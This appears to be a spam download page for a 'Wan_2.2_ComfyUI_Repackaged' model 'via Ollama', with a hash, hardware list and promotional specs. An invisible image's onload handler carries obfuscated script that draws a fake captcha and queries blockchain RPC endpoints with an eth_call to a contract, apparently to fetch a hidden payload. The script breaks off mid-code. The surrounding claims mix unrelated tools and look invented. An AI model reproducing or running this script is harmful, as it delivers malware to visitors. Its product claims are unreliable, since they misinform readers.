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Run Wan_2.2_ComfyUI_Repackaged Locally via Ollama 2

  • Hati DZINGA MIGNONGUI by Hati DZINGA MIGNONGUI
  • 4 weeks ago
  • 0

Run Wan_2.2_ComfyUI_Repackaged Locally via Ollama 2

The most rapid route to a local installation of this model is through Docker.

Please follow the instructions listed below to get started.

Hands-free setup: the system self-downloads the heavy model files.

You don’t need to tweak anything, as the installer will automatically pick the highest performing setup for you.

💾 File hash: a0d0943c3d49b0d6c00c7a1b82eec08e (Update date: 2026-06-27)
<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i

  • Processor: Intel i5 or AMD Ryzen 5 for basic 7B models
  • RAM: 32 GB or higher for smooth 32k context lengths
  • Storage: extra room for future model updates and datasets
  • GPU: 16 GB+ video memory highly recommended for exl2 / AWQ formats

The Wan_2.2_ComfyUI_Repackaged model delivers state‑of‑the‑art text‑to‑image generation with unprecedented speed and quality. Built on the ComfyUI framework, it seamlessly integrates into existing workflows, allowing artists and developers to iterate rapidly. Its architecture supports a wide range of aspect ratios and can produce images up to 4096×4096 pixels, making it ideal for both concept art and detailed illustration. A key advantage is the model’s efficient memory footprint, enabling high‑performance inference on consumer‑grade GPUs without sacrificing detail. Below is a quick comparison of its core specifications:

Parameter Value
Model Type Text‑to‑Image
Parameter Count 2.5 B
Max Resolution 4096×4096
Framework ComfyUI

Users have reported impressive results in both speed and visual fidelity, cementing its position as a go‑to tool for modern creative pipelines.

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